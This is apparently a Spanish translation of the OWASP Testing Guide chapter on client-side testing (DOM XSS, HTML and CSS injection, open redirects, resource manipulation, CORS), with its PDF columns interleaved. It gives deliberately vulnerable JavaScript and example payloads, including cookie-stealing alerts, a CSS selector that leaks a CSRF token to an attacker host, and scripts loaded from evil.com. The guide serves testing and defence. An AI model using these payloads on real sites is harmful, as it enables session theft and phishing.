Probar el lado del cliente se refiere a la ejecución de código en el cliente,

normalmente nativo en un navegador web o plugin de navegador. La
• Overview of Malicious File Upload Attacks: securitymecca.com ejecución de código en el lado del cliente es distinta a ejecutarla en el
servidor y devolver el contenido posterior.
Prueba del Cross site scripting basado en DOM (OTG-CLIENT-001)

• Stop people uploading malicious PHP files via forms :
Resumen
stackoverflow.com
Cross site scripting basado en DOM es el nombre de facto para errores XSS
que son el resultado del contenido activo del lado del navegador en una
página, generalmente JavaScript, que obtiene ingresos del usuario y luego
• How to Tell if a File is Malicious: techsupportalert.com hace algo inseguro, lo que lleva a la ejecución de código inyectado. Este
documento sólo habla de errores de JavaScript que conducen a XSS.
• CWE-434: Unrestricted Upload of File with Dangerous Type:

El DOM o Modelo de Objeto del Documento (Document Object Model) es el
cwe.mitre.org formato estructural utilizado para representar documentos en un navegador.
El DOM permite scripts dinámicos como JavaScript para referenciar los
componentes del documento como un campo de formulario o una cookie de
sesión. El DOM también se utiliza en el navegador por seguridad - por
• Implementing Secure File Upload:

294
ejemplo, para limitar a los scripts de dominios distintos el obtener las navegador, este se ejecuta directamente en el navegador del usuario sin contacto del
cookies de sesión desde otros dominios. Una vulnerabilidad XSS basada en servidor.
DOM ocurre cuando se modifica el contenido activo, como una función de
JavaScript; se modifica con una solicitud especialmente diseñada, tal como
un elemento DOM que puede ser controlado por un atacante.
Las consecuencias de las fallas XSS basadas en DOM son tan extensas como
las vistas en formas más conocidas de XSS, incluyendo la recuperación de la
cookie, inyección de scripts maliciosos, etc. y, por lo tanto, deben ser tratadas
Ha habido muy pocos trabajos publicados sobre este tema y, como tal, existe con la misma importancia.
muy poca estandarización de su significado y pruebas formales.

Cómo probar
La prueba de Caja Negra para XSS basado en DOM no se realiza
No todos los errores XSS requieren que el atacante controle el contenido habitualmente, ya que el acceso al código fuente siempre está disponible y debe
devuelto por el servidor, pero también puede abusar de las prácticas de una enviarse al cliente para que se ejecute.
codificación JavaScript pobre para lograr los mismos resultados. Las
consecuencias son las mismas que un fallo XSS típico, sólo que los medios
de entrega son diferentes. En comparación con otras vulnerabilidades de
cross site scripting (XSS reflejados y almacenados) donde un parámetro no Prueba de Caja Gris
desinfectado se pasa al servidor, es devuelto al usuario y se ejecuta en el
contexto del navegador del usuario, una vulnerabilidad XSS basada en DOM Probando las vulnerabilidades de XSS basadas en DOM:
controla el flujo del código mediante el uso de elementos del Modelo de
Objeto del Documento (DOM) junto con el código creado por el atacante Las aplicaciones JavaScript difieren significativamente de otros tipos de
para cambiar el flujo. aplicaciones, ya que se generan a menudo de manera dinámica por el servidor y,
para entender qué código está siendo ejecutado, el sitio web que estamos probando
debe ser rastreado para determinar todas las instancias de ejecución de JavaScript
donde se aceptan ingresos del usuario. Muchos sitios web se apoyan en grandes
Debido a su naturaleza, las vulnerabilidades XSS basadas en DOM pueden librerías de funciones, que a menudo se extienden en cientos de miles de líneas de
realizarse, en muchos casos, sin que el servidor pueda determinar lo que código y no se han desarrollado en la empresa. En estos casos, la prueba de arriba
realmente está ejecutándose. Esto hace que muchas de las técnicas de para abajo se convierte en la única opción viable, puesto que nunca se usan
filtración y detección general de XSS sean impotentes a este tipo de ataques. muchas funciones de nivel inferior, y analizarlas para determinar cuáles son sinks
utiliza más tiempo del disponible. Lo mismo se puede decir también de las
pruebas de arriba hacia abajo si la entradas o falta de ellas no se identifican.
El primer ejemplo hipotético utiliza el siguiente código del lado cliente:
<script> El ingreso del usuario viene en dos formas principalmente:
document.write(“Site is at: “ + document.location.href + “.”);
</script> • Entradas escritas en la página por el servidor, de una manera que no permite XSS
directo.
• Entradas obtenidas de objetos JavaScript del lado del cliente.

Un atacante puede anexar # <script>alert(‘xss’)</script> a la URL de la
página afectada que, cuando se ejecuta, mostrará el cuadro de alerta. En este
caso, el código anexado no se enviaría al servidor como todo lo que está
después del carácter # que no se trata como parte de la consulta por parte del Estos son dos ejemplos de cómo el servidor puede insertar datos en JavaScript:
navegador, sino como un fragmento.
var data = “<escaped data from the server>”;
var result = someFunction(“<escaped data from the server>”);

En este ejemplo, el código se ejecuta inmediatamente y aparece una alerta de "xss"
en la página. A diferencia de los tipos más comunes de cross site scripting
(almacenado y reflejado) en que se envía el código al servidor y luego al
Y aquí están dos ejemplos de entrada de objetos de JavaScript del lado del cliente:

295
var data = window.location; {
var result = someFunction(window.referer); document.write(“You are using an unknown browser.”);
Aunque hay poca diferencia con el código JavaScript en cómo se recuperan, es </script>
importante tener en cuenta que cuando la entrada es recibida por el servidor, el
servidor puede aplicar cualquier permutación a los datos que desea, mientras que
las permutaciones realizadas por objetos de JavaScript son bastante claras y
documentadas y, si es así, someFunction en el ejemplo anterior fuera un sink, Por esta razón, las pruebas automatizadas no detectarán las áreas susceptibles a XSS
entonces la explotabilidad del primero dependería de la filtración realizada por el basado en DOM, a menos que la herramienta de prueba pueda realizar un análisis
servidor, mientras que el segundo dependería de la codificación realizada por el adicional del código del lado cliente.
explorador en el objeto window.referer.
Las pruebas manuales, por lo tanto, deben llevarse a cabo y pueden realizarse examinando
Stefano Di Paulo ha escrito un excelente artículo sobre lo que los navegadores las áreas en el código donde se conocen los parámetros que pueden ser utiles para un
devuelven cuando se les pregunta por los distintos elementos de una dirección URL atacante. Los ejemplos de estas zonas incluyen lugares donde el código está escrito
que utiliza los atributos del documento. y la ubicación. Además, JavaScript se dinámicamente a la página y en otros lugares donde el DOM se modifica, o incluso donde
ejecuta a menudo fuera de bloques <script>, según lo evidenciado por los muchos los scripts se ejecutan directamente. Otros ejemplos son descritos en el excelente artículo
vectores que han llevado a evadir los filtros XSS en el pasado y. por lo tanto, al de DOM XSS por Amit Klein, al que se hace referencia al final de esta sección.
rastrear la aplicación, es importante tener en cuenta el uso de scripts en lugares
como controladores de eventos y bloques CSS con atributos de expresión. También
tenga en cuenta que cualquier sitio fuera del CSS u objetos de script tendrán que
evaluarse para determinar qué código está ejecutándose. Una prueba automatizada Referencias
tiene muy poco éxito en la identificación y validación de XSS basado en DOM,
que generalmente identifica XSS al enviar una carga específica y observar la Recursos OWASP
respuesta del servidor. Esto puede funcionar bien en el ejemplo simple
proporcionado a continuación, donde el parámetro de mensaje se refleja de vuelta • DOM based XSS Prevention Cheat Sheet
al usuario:
<script>
Libros Blancos
var pos=document.URL.indexOf(“message=”)+5;
• Document Object Model (DOM: en.wikipedia.org
document.write(document.URL.substring(pos,document.URL.length));
</script>
• DOM Based Cross Site Scripting or XSS of the Third Kind - Amit
Klein: webappsec.org
pero no puede ser detectada en el siguiente caso artificial:
<script>
• Browser location/document URI/URL Sources: code.google.com
var navAgt = navigator.userAgent;
Prueba de la ejecución de JavaScript (OTG-CLIENT-002)

if (navAgt.indexOf(“MSIE”)!=-1) {
Resumen
document.write(“You are using IE as a browser and visiting site: “ +

Una vulnerabilidad de inyección de JavaScript es un subtipo de Cross Site Scripting (XSS)
document.location.href + “.”); que implica la capacidad para inyectar código JavaScript arbitrario que ejecuta la
aplicación dentro del navegador de la víctima.
}
else

296
Esta vulnerabilidad puede tener muchas consecuencias, como la divulgación de las cookies La página contiene los siguientes scripts:
de sesión de un usuario, que podría ser utilizada para suplantar la identidad de la víctima o,
más generalmente, puede permitir al atacante modificar el contenido de la página vista por <script>
la víctima o el comportamiento de la aplicación.
function loadObj(){
var cc=eval(‘(‘+aMess+’)’);
Cómo probar
document.getElementById(‘mess’).textContent=cc.message;
Esta vulnerabilidad se produce cuando la aplicación carece de una validación adecuada de
entradas y salidas del usuario. JavaScript se utiliza para rellenar dinámicamente las páginas }
web. Esta inyección se produce durante esta fase de procesamiento de contenido y, en
consecuencia, afecta a la víctima.
if(window.location.hash.indexOf(‘message’)==-1)
Cuando se trata de explotar este tipo de cuestiones, considere que algunos caracteres var aMess=”({\”message\”:\”Hello User!\”})”;
reciben un trato diferente en los diferentes navegadores. Para referencia, vea el Wiki de
DOM XSS. else
var
aMess=location.hash.substr(window.location.hash.indexOf(‘message=’)+8);
El siguiente script no realiza ninguna validación de la variable rr que contiene la entrada
del usuario a través de la cadena de consulta y, además, no se aplica ningún tipo de </script>
codificación:
El código anterior contiene una fuente 'location.hash' que está controlada por el atacante,
Prueba de Caja Negra quien puede inyectar directamente en el valor de 'mensaje' un código JavaScript para tomar
el control del navegador del usuario.
var rr = location.search.substring(1);
if(rr)
Referencias
window.location=decodeURIComponent(rr);
Recursos OWASP
Esto implica que un atacante podría inyectar código JavaScript simplemente
enviando la siguiente cadena de consulta: • DOM based XSS Prevention Cheat Sheet
www.victim.com/?javascript:alert(1)
• DOMXSS.com: domxss.com
La prueba de Caja Negra para ejecución en JavaScript no suele realizarse ya que el acceso
al código fuente siempre está disponible, y necesita ser enviado al cliente para ser Libros Blancos
ejecutado.
• Browser location/document URI/URL Sources: codegoogle.com

Prueba de inyección HTML (OTG-CLIENT-003)
Prueba de las vulnerabilidades de ejecución de JavaScript:
Resumen
Por ejemplo, mirando la siguiente URL:
La inyección HTML es un tipo de inyección que se produce cuando un usuario es capaz
http://www.domxss.com/domxss/01_Basics/04_eval.html de controlar un punto de entrada y puede inyectar código HTML arbitrario en una página
web vulnerable. Esta vulnerabilidad puede tener muchas consecuencias, como la
divulgación de las cookies de sesión de un usuario que podrían ser utilizadas para suplantar

297
la identidad de la víctima o, más comúnmente, puede permitir al atacante modificar el añadirá una etiqueta de imagen a la página que se ejecutará un código JavaScript
contenido de la página vista por las víctimas. arbitrario introducido por el usuario malintencionado en el contexto HTML.
Cómo probar Pruebas de Caja Negra
Esta vulnerabilidad se produce cuando el ingreso del usuario no está correctamente Las pruebas de Caja Negra mediante inyección HTML normalmente no se realizan,
desinfectado y la salida no está codificada. Una inyección permite al atacante enviar una puesto que el acceso al código fuente siempre está disponible y necesita ser
página HTML maliciosa a una víctima. El navegador de destino no será capaz de enviado al cliente para su ejecución.
distinguir (confiar) entre la parte legítima y la maliciosa y, en consecuencia, analiza y
ejecuta todo como confiable en el contexto de la víctima. Hay una amplia gama de
métodos y atributos que podrían ser utilizados para representar el contenido HTML. Si a
estos métodos se les provee un ingreso no confiable, entonces hay un riesgo alto de XSS, Pruebas de Caja Gris
específicamente una inyección HTML. Se puede inyectar un código HTML malicioso,
por ejemplo, mediante innerHTML, que se utiliza para representar el código HTML Probando las vulnerabilidades de inyección HTML:
ingresado por el usuario. Si las cadenas no se desinfectan correctamente, el problema
llevaría a una inyección HTML basada en XSS. Otro método podría ser document.write() Por ejemplo, mirando el siguiente URL:
http://www.domxss.com/domxss/01_Basics/06_jquery_old_html.html
Cuando se trata de explotar este tipo de problema, considere que algunos caracteres reciben
un trato diferente en los diferentes navegadores. Para referencia ver la Wiki de DOM XSS.
La propiedad innerHTML establece o devuelve el código HTML interno de un elemento. El código HTML contiene el siguente script:
La falta de desinfección en ingresos no confiables y la falta de codificación en los datos de
salida podría permitir a un atacante inyectar código HTML malintencionado. <script src=”../js/jquery-1.7.1.js”></script>
<script>
Ejemplo de código vulnerable: El siguiente ejemplo muestra un fragmento de código function setMessage(){
vulnerable que permite que una entrada no validada sea utilizada para crear html dinámico
en el contexto de la página: var t=location.hash.slice(1);
var userposition=location.href.indexOf(“user=”); $(“div[id=”+t+”]”).text(“The DOM is now loaded and can be manipulated.”);
var user=location.href.substring(userposition+5); }
document.getElementById(“Welcome”).innerHTML=” Hello, “+user; $(document).ready(setMessage );
$(window).bind(“hashchange”,setMessage)
De la misma manera, en el siguiente ejemplo se muestra un código vulnerable mediante la </script>

función document.write():
<body><script src=”../js/embed.js”></script>
var userposition=location.href.indexOf(“user=”);
<span><a href=”#message” > Show Here</a><div id=”message”>Showing
var user=location.href.substring(userposition+5); Message1</div></span>
document.write(“<h1>Hello, “ + user +”</h1>”); <span><a href=”#message1” > Show Here</a><div id=”message1”>Showing

Message2</div>
<span><a href=”#message2” > Show Here</a><div id=”message2”>Showing

En ambos ejemplos, un ingreso como el siguiente : Message3</div>
http://vulnerable.site/page.html?user=<img%20src=’aaa’%20onerror=alert(1) </body>
>

298
Es posible inyectar código HTML. La víctima que visita target.site será redireccionada automáticamente a un
fake-target.site donde un atacante podría colocar una página falsa para robar
las credenciales de la víctima.
Referencias
Recursos OWASP Además, también podrían utilizarse redireccionamientos abiertos para crear
maliciosamente una URL que evite el control de acceso a la aplicación y
• OWASP DOM based XSS Prevention Cheat Sheet luego envíe al atacante hacia funciones privilegiadas a las que normalmente
no debería poder acceder.

Libros Blancos
La prueba de Caja Negra para el redireccionamiento de URL del lado del
• Browser location/document URI/URL Sources: cliente no suele realizarse ya que el acceso al código fuente siempre está
disponible, y necesita enviarse al cliente para su ejecución.
code.google.com
Prueba de Caja Gris

Pruebas de redireccionamiento de la URL del lado del cliente (OTG-
CLIENT-004) Probando las vulnerabilidades de redireccionamiento de URL del lado
del cliente:
Resumen
Cuando los evaluadores deben revisar manualmente esta vulnerabilidad,
Esta sección describe cómo comprobar el redireccionamiento de URL del lado deben identificar si hay redireccionamientos implementados en el código del
cliente, también conocido como redirección abierta. Es un error de validación lado del cliente (por ejemplo en el código JavaScript).
de entrada que se da cuando una aplicación acepta un ingreso controlado por
el usuario, que especifica un enlace que lleva a una URL externa. Este tipo de
vulnerabilidad podría utilizarse para realizar un ataque de phishing o redirigir
a una víctima a una página de infección. Estas redirecciones podrían aplicarse, por ejemplo en JavaScript, utilizando el
objeto de "window.location" que puede usarse para llevar al navegador a otra
página asignando una cadena, como se puede ver en el siguiente fragmento de
código.
Cómo probar
var redir = location.hash.substring(1);
Esta vulnerabilidad se produce cuando una aplicación acepta un ingreso no
confiable que contiene un valor de URL sin desinfectar. Este valor de URL if (redir)
podría causar que la aplicación web redireccione al usuario a otra página
como, por ejemplo, una página maliciosa controlada por el atacante. window.location=’http://’+decodeURIComponent(redir);
Modificando la URL de entrada no confiable para redirigir a un usuario hacia En el ejemplo anterior, la secuencia de comandos no realiza ninguna
un sitio malicioso, un atacante puede lanzar una estafa de phishing con éxito y validación de la variable "redir" que contiene la entrada del usuario a través de
robar las credenciales del usuario. Ya que la redirección se origina en la la cadena de consulta y, al mismo tiempo, no se aplica ningún tipo de
aplicación real, los intentos de phishing pueden tener un aspecto más codificación. Esta entrada no validada se pasa a las ventanas. El objeto de
confiable. localización origina una vulnerabilidad de redirección de URL.
Un ejemplo de un ataque de phishing puede ser el siguiente: Esto implica que un atacante podría redirigir a la víctima hacia un sitio
malicioso, simplemente enviando la siguiente cadena de consulta:
http://www.target.site?#redirect=www.fake-target.site
http://www.victim.site/?#www.malicious.site

299
Resumen
Note como si el código vulnerable es el siguiente: Una vulnerabilidad de inyección de CSS implica la capacidad de inyectar
código CSS arbitrario en el contexto de un sitio web de confianza que se
var redir = location.hash.substring(1); mostrará en el navegador de la víctima. El impacto de esta vulnerabilidad
puede variar en función de la carga CSS suministrada: podría causar un Cross-
if (redir) Site Scripting en circunstancias particulares, al robar datos realizando una
extracción de los datos confidenciales o modificaciones de la interfaz del
window.location=decodeURIComponent(redir); usuario.
También sería posible inyectar código JavaScript, por ejemplo, al enviar la Cómo probar
siguiente cadena de consulta:
Esta vulnerabilidad se produce cuando la aplicación permite a un usuario
http://www.victim.site/?#javascript:alert(document.cookie) suministrar CSS generado por el usuario o, si es posible, de alguna manera,
interferir con las hojas de estilo legítimas. Inyectar código en el contexto CSS
da al atacante la posibilidad de ejecutar JavaScript bajo ciertas condiciones,
así como extraer los valores sensibles a través de selectores CSS y funciones
Cuando trate de comprobar este tipo de problema, considere que algunos capaces de generar las solicitudes HTTP. Dar a los usuarios la posibilidad de
caracteres reciben un trato diferente en los distintos navegadores. Ademá,s personalizar sus propias páginas personales mediante el uso de archivos CSS
siempre considere la posibilidad de probar variantes absolutas de direcciones personalizados resulta un riesgo considerable y se debe evitar definitivamente.
URL como se describe aquí: kotowicz.net
El siguiente código JavaScript muestra un posible script vulnerable en el que

Herramientas el atacante puede controlar la "location.hash" (fuente) que alcanza a la función
"cssText" (sink). Este caso en particular puede causar un DOMXSS en las
• DOMinator: dominator.mindedsecurity.com versiones más antiguas de los navegadores, como Opera, Internet Explorer y
Firefox. Para referencia, vea la Wiki de DOM XSS, sección "Estilo de sink".
<a id=”a1”>Click me</a>

Referencias
<script>
OWASP Resources
if (location.hash.slice(1)) {
• OWASP DOM based XSS Prevention Cheat Sheet
document.getElementById(“a1”).style.cssText = “color: “ +
location.hash.slice(1);
}
</script>
Libros Blancos
• Browser location/document URI/URL Sources:

El atacante podría específicamente apuntar a la víctima pidiéndole que visite
las siguientes direcciones URL:
code.google.com
• www.victim.com/#red;-o-link:’javascript:alert(1)’;-o-link-
• Krzysztof Kotowicz: “Local or Externa? Weird URL formats on
source:current; (Opera [8,12])

the loose”: kotowicz.net
• www.victim.com/#red;-:expression(alert(URL=1)); (IE 7/8)
Pruebas de inyección de CSS (OTG-CLIENT-005)

300
La misma vulnerabilidad puede aparecer en el caso típico de reflejo XSS en la Probando las vulnerabilidades de inyección CSS
que, por ejemplo, el código PHP se verá como el siguiente:
Se deben llevar a cabo pruebas manuales y analizar el código de JavaScript
<style> para entender si el atacante puede inyectar su propio contenido en el
contexto de la CSS. En particular, debemos estar interesados en cómo el
p{ sitio web devuelve las reglas CSS en función de las entradas.
color: <?php echo $_GET[‘color’]; ?>;
text-align: center; El siguiente es un ejemplo básico:
} <a id=”a1”>Click me</a>
</style> <b>Hi</b>
<script>
Algunos escenarios de ataque mucho más interesantes incluyen la posibilidad $(“a”).click(function(){

de extraer los datos mediante la adopción de reglas CSS puras. Este tipo de
ataques puede realizarse a través de selectores CSS y direccionando al $(“b”).attr(“style”,”color: “ + location.hash.slice(1));
usuario, por ejemplo, si se toma fichas anti-CSRF, como a continuación. En
particular, input[name=csrf_token][value=â] representa un elemento con el });
atributo "name" ajustado con "csrf_token" y cuyo "value" (valor) de atributo
comienza con "a". Mediante la detección de la longitud del atributo "value", </script>
es posible llevar a cabo un ataque de fuerza bruta contra este y enviar el valor
al dominio del atacante.
<style> El código anterior contiene una fuente "location.hash" que es controlada por
el atacante, quien puede inyectarlo directamente en el atributo "style" de un
input[name=csrf_token][value=â] { elemento HTML. Como se mencionó anteriormente, esto puede llevar a
resultados diferentes basados en el navegador adoptado y la carga
background-image: url(http://attacker/log?a); suministrada.
</style> Se recomienda que los evaluadores utilicen la función de jQuery css(property,

value) en tales circunstancia,s como a continuación, ya que esto no permitiría
ninguna inyección dañina. En general, recomendamos usar siempre una lista
blanca de caracteres permitidos en cualquier momento que se refleje el
Ataques mucho más modernos que utilizan una combinación de SVG, CSS y ingreso en el contexto de la CSS.
HTML5 han demostrado ser más viables, por lo tanto, le recomendamos
consultar la sección de referencias para obtener más información. <a id=”a1”>Click me</a>
<b>Hi</b>
Prueba de Caja Negra <script>
Nos referimos a las pruebas desde el lado del cliente, por lo tanto, las pruebas $(“a”).click(function(){
de Caja Negra no suelen realizarse ya que el acceso al código fuente siempre
está disponible, y necesita ser enviado al cliente para su ejecución. Sin $(“b”).css(“color”,location.hash.slice(1));
embargo, puede suceder que al usuario se le dé un cierto grado de libertad
para poder suministrar código HTML; en ese caso, es necesario comprobar si });
es posible realizar inyecciones de CSS. Etiquetas como "link" y "style" deben
prohibirse. </script>
Prueba de Caja Gris Referencias

301
Recursos OWASP Esta vulnerabilidad se produce cuando la aplicación emplea un URL

controlado por el usuario para hacer referencia a recursos externos/internos.
• OWASP DOM based XSS Prevention Cheat Sheet En estas circunstancias, es posible interferir con el comportamiento esperado
de la aplicación, en el sentido de hacer que cargue y procese objetos
maliciosos.
• DOMXSS Wiki: code.google.com
El siguiente código JavaScript muestra un posible script vulnerable en el que

el atacante es capaz de controlar la "location.hash" (fuente) que alcanza al
Presentaciones atributo "src" de un elemento script. Este ejemplo en particular obviamente
lleva a un XSS, ya que un JavaScript externo podría ser fácilmente inyectado
• DOM Xss Identification and Exploitation, Stefano Di Paola: en el sitio web de confianza.
dominator.googlecode.com <script>
var d=document.createElement(“script”);
• Got Your Nose! How To Steal Your Precious Data Without if(location.hash.slice(1))
Using Scripts, Mario Heiderich: youtube.com d.src = location.hash.slice(1);
document.body.appendChild(d);
• Bypassing Content-Security-Policy, Alex Kouzemtchenko:

</script>
ruxcon.org
Específicamente el atacante podría apuntar a la víctima pidiéndole que visite

la siguiente URL:
Prueba de conceptos
www.victim.com/#http://evil.com/js.js
• Password “cracker” via CSS and HTML5: html5sec.org
Donde js.js contiene:

• CSS attribute reading: eaea.sirdarckcat.net
alert(document.cookie)
Pruebas de la manipulación de recursos del lado del cliente (OTG-

CLIENT-006)
Controlar las fuentes de scripts es un ejemplo básico, puesto que pueden
ocurrir algunos otros casos interesantes y más sutiles. Un escenario
Resumen
generalizado implica la posibilidad de controlar la dirección URL con una
Una vulnerabilidad de manipulación de recursos del lado del cliente es un solicitud CORS; puesto que CORS permite que el recurso de destino sea
error de validación de los ingresos que se producen cuando una aplicación accesible por el dominio que lo solicita a través de un acercamiento basado en
acepta las entradas controladas por un usuario que especifica la ruta hacia un encabezados, entonces el atacante puede pedir a la página de destino que
recurso (por ejemplo, la fuente de un iframe, js, applet o el controlador de un cargue contenido malicioso en su propio sitio web.
XMLHttpRequest). Específicamente, esta vulnerabilidad consiste en la
capacidad para controlar las direcciones URL que vinculan a algunos recursos
presentes en una página web. El impacto puede variar en función del tipo de
Refiérase al siguiente código vulnerable:
elemento de la URL controlada por el atacante y, generalmente, se adopta para
llevar a cabo ataques fr Cross-Site Scripting.
<b id=”p”></b>
<script>
Cómo probar
function createCORSRequest(method, url) {

302
var xhr = new XMLHttpRequest();
xhr.open(method, url, true); Pruebas de Caja Gris
xhr.onreadystatechange = function () { Probando las vulnerabilidades para la manipulación de recursos del

cliente:
if (this.status == 200 && this.readyState == 4) {
Para comprobar manualmente este tipo de vulnerabilidad, tenemos que
document.getElementById(‘p’).innerHTML = this.responseText; identificar si la aplicación utiliza entradas que no son validadas
correctamente; éstas están bajo el control del usuario, quien podría
} especificar la url de algunos recursos. Puesto que hay muchos recursos
que se podrían incluir en la aplicación (por ejemplo, imágenes, vídeo,
}; objetos, CSS, marcos, etc.), los scripts a nivel del cliente que manejan las
URL asociadas deben ser investigadas para detectar posibles problemas.
return xhr;
}
La siguiente tabla muestra los posibles puntos de inyección (sink) que
deberían revisarse:
var xhr = createCORSRequest(‘GET’, location.hash.slice(1));
xhr.send(null);
</script>
La "location.hash" es controlada por el atacante y se utiliza para solicitar un

recurso externo, el cual se refleja a través de la construcción de "innerHTML".
Básicamente, el atacante podría pedir a la víctima que visite la siguiente
dirección URL y, al mismo tiempo, él podría diseñar el controlador de carga
útil.
Aproveche la URL: www.victim.com/#http://evil.com/html.html
http://evil.com/html.html Los puntos más interesantes son los que permiten a un atacante incluir el
código del cliente (por ejemplo Javascript), ya que esto podría dar lugar a
---- vulnerabilidades XSS.
<?php
header(‘Access-Control-Allow-Origin: http://www.victim.com’); Cuando trate de comprobar este tipo de problema, considere que algunos
caracteres son tratados de manera diferente por diferentes navegadores.
?> Por otra parte, siempre tenga en cuenta la posibilidad de probar variantes
absolutas URL, como se describe aquí: http://kotowicz.net/absolute/
<script>alert(document.cookie);</script>
Herramientas
• DOMinator: dominator.mindedsecurity.com
Las pruebas de Caja Negra para la manipulación de recursos del cliente,
por lo general, no se realizan, ya que el acceso al código fuente está
siempre disponible puesto que tiene que ser enviado al cliente para ser
ejecutado. Referencias

303
Recursos de OWASP Basándose en el resultado de la solicitud de OPTIONS, el navegador

decide si se permite o no la solicitud.
• OWASP DOM based XSS Prevention Cheat Sheet
Cómo probar
Origin & Access-Control-Allow-Origin
El encabezado Origin siempre se envía por el navegador en una solicitud

• DOMXSS TestCase: domxss.com CORS e indica el origen de la solicitud. El encabezado de origen no se
puede cambiar desde JavaScript, aunque confiar en este encabezado para
comprobar los accesos de control no es una buena idea, ya que puede ser
falsificado fuera del navegador, por lo que aún se necesita comprobar que
Libros Blancos los protocolos del nivel de la aplicación se utilizan para proteger datos
sensibles.
• DOM XSS Wiki: code.google.com
Access-Control-Allow-Origin es un encabezado de respuesta utilizado por

• Krzysztof Kotowicz: “Local or Externo? ocal o externo? URL raro en
el servidor para indicar qué dominios tienen permiso para leer la
formatos sueltos ": kotowicz.net
respuesta. En base a la especificación CORS W3, depende del cliente
determinar y hacer cumplir la restricción si él tiene acceso a los datos de
respuesta basados en este encabezado.
Pruebas para el intercambio el intercambio de recursos de origen
cruzado (OTG-CLIENT-007)
Desde una perspectiva de pruebas de penetración, usted debe buscar
Resumen
configuraciones inseguras, tales como, por ejemplo, usar un comodín '*'
La prueba de intercambio de recursos de origen cruzado o CORS es un como el valor del encabezado Access-Control-Allow-Origin que significa
mecanismo que permite a un navegador web realizar peticiones de que todos los dominios están permitidos. Otro ejemplo de
"cross-domain" que utiliza la API XMLHttpRequest L2 de una manera configuraciones inseguras es cuando el servidor devuelve el encabezado
controlada. En el pasado, la API XMLHttpRequest L1 sólo permitía que las de origen sin ninguna comprobación adicional, lo que puede conducir al
solicitudes se enviaran dentro del mismo origen, ya que estaba acceso a datos sensibles. Tenga en cuenta que esta configuración es muy
restringida por la política del mismo origen. insegura y no es aceptable en términos generales, excepto en el caso de
una API pública que está destinada a ser accesible para todos.
Las solicitudes de origen cruzado tienen un encabezado de origen que

Método Access-Control-Request & MétodoAccess-Control-Allow
identifica el dominio que inicia la petición y siempre se envía al servidor.
CORS define el protocolo a utilizar entre un navegador web y un servidor
El encabezado del Access-Control-Request-Method se utiliza cuando un
para determinar si se permite una solicitud de origen cruzado. Con el fin
navegador realiza una solicitud de verificación previa de OPTIONS y
de lograr este objetivo, hay algunos encabezados HTTP que participan en
permite que el cliente indique el método para la solicitud final. Por otro
este proceso,. que son compatibles con todos los navegadores que se
lado, el Access-Control-Allow-Method es un encabezado de respuesta que
detallan a continuación e incluyen:: Origen, Acceso-Control-Solicitud-
utiliza el servidor para describir los métodos que los clientes están
Método, Acceso-Control-Solicitud-Encabezados, Acceso-Control-Permiso-
autorizados a utilizar.
Origen, Acceso-Control-Permiso-Credenciales, Acceso-Control-Permiso-
Métodos, Acceso-Control-Permiso-Encabezados.
Encabezados Access-Control-Request-Headers & Access-Control-Allow

Los mandatos de especificación CORS para las solicitudes no simples,
Estos dos encabezados se utilizan entre el navegador y el servidor para
como por ejemplo las solicitudes que no sean GET o POST o las solicitudes
determinar qué encabezados se pueden utilizar para realizar una
que utilizan credenciales, deben enviar una solicitud previa de OPTIONS
solicitud de origen cruzado.
para comprobar si el tipo de solicitud tendrá un impacto negativo en los
datos. La solicitud previa al mandato comprueba los métodos, los
encabezados permitidos por el servidor y si se permiten las credenciales.
304
Access-Control-Allow-Credentials
Este encabezado, como parte de una solicitud previa al mandato, indica Solicitud (note el encabezado de "Origen" :)
que la solicitud definitiva puede incluir las credenciales de usuario.
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
Validación de entradas
La XMLHttpRequest L2 (o XHR L2) introduce la posibilidad de crear una Gecko/20100101 Firefox/24.0
solicitud entre dominios mediante la API XHR para la compatibilidad en
retrospectiva. Esto puede introducir vulnerabilidades de seguridad que Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
en XHR L1 no estaban presentes. Los puntos interesantes del código para
explotar serían las URL que son pasadas a XMLHttpRequest sin Accept-Language: en-US,en;q=0.5
validación, especialmente si las direcciones absolutas URL son
permitidas, ya que podrían conducir a la inyección del código. Del mismo Referer: http://example.foo/CORSexample1.html
modo, otras partes de la aplicación pueden ser explotadas si los datos de
respuesta no se escapan y podemos controlarlos proporcionando los Origin: http://example.foo
datos de entrada dados por el usuario.
Otros encabezados
Respuesta (note el encabezado ‘Access-Control-Allow-Origin’:)
Hay otros encabezados involucrados como el de Access-Control-Max-Age
que determina el tiempo en que una solicitud de verificación previa HTTP/1.1 200 OK
puede almacenar en caché en el navegador, o el de Access-Control-Expose-
Headers que indica qué encabezados son seguros para exponer a la API Date: Mon, 07 Oct 2013 18:57:53 GMT
de una especificación API CORS. Ambos son encabezados de respuesta
especificados en el documento del CORS W3C. Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Pruebas de Caja Negra Access-Control-Allow-Origin: *
Las pruebas de Caja Negra para encontrar temas relacionados con el Content-Length: 4
intercambio de recursos de origen cruzado, por lo general, no se realizan
debido a que el acceso al código fuente está siempre disponible, ya que Keep-Alive: timeout=15, max=99
tiene que ser enviado al cliente para ser ejecutado.
Connection: Keep-Alive
Content-Type: application/xml
Revise los encabezados HTTP con el fin de entender cómo se utiliza CORS;
en particular, debemos estar muy interesados en el encabezado de origen [Response Body]
para aprender qué dominios se permiten. Además, la inspección manual
del JavaScript es necesaria para determinar si el código es vulnerable a la
inyección de código debido a una manipulación incorrecta de la entrada
Ejemplo 2: Problema de validación de entrada, XSS con CORS:
proporcionada por el usuario. A continuación se presentan algunos
ejemplos:
Este código hace una solicitud al recurso enviado después del carácter #
en la URL, utilizado inicialmente para obtener recursos en el mismo
servidor.
Ejemplo 1: Respuesta insegura con el comodín '*' en Access-Control-
Allow-Origin:
Código vulnerable:

305
<script>
Ahora, ya que no hay una validación de la URL, se puede inyectar un script

remoto, que se inyecta y se ejecutará en el contexto del example.foo
var req = new XMLHttpRequest(); domain, con una URL como ésta:
http://example.foo/main.php#http://attacker.bar/file.php
req.onreadystatechange = function() {
Por ejemplo, una petición como ésta mostrará el contenido del archivo Solicitud y respuesta generada por esta URL:
profile.php:
GET http://attacker.bar/file.php HTTP/1.1
http://example.foo/main.php#profile.php
Host: attacker.bar

Solicitud y respuesta generada por esta URL: Gecko/20100101 Firefox/24.0
GET http://example.foo/profile.php HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Host: example.foo Accept-Language: en-US,en;q=0.5
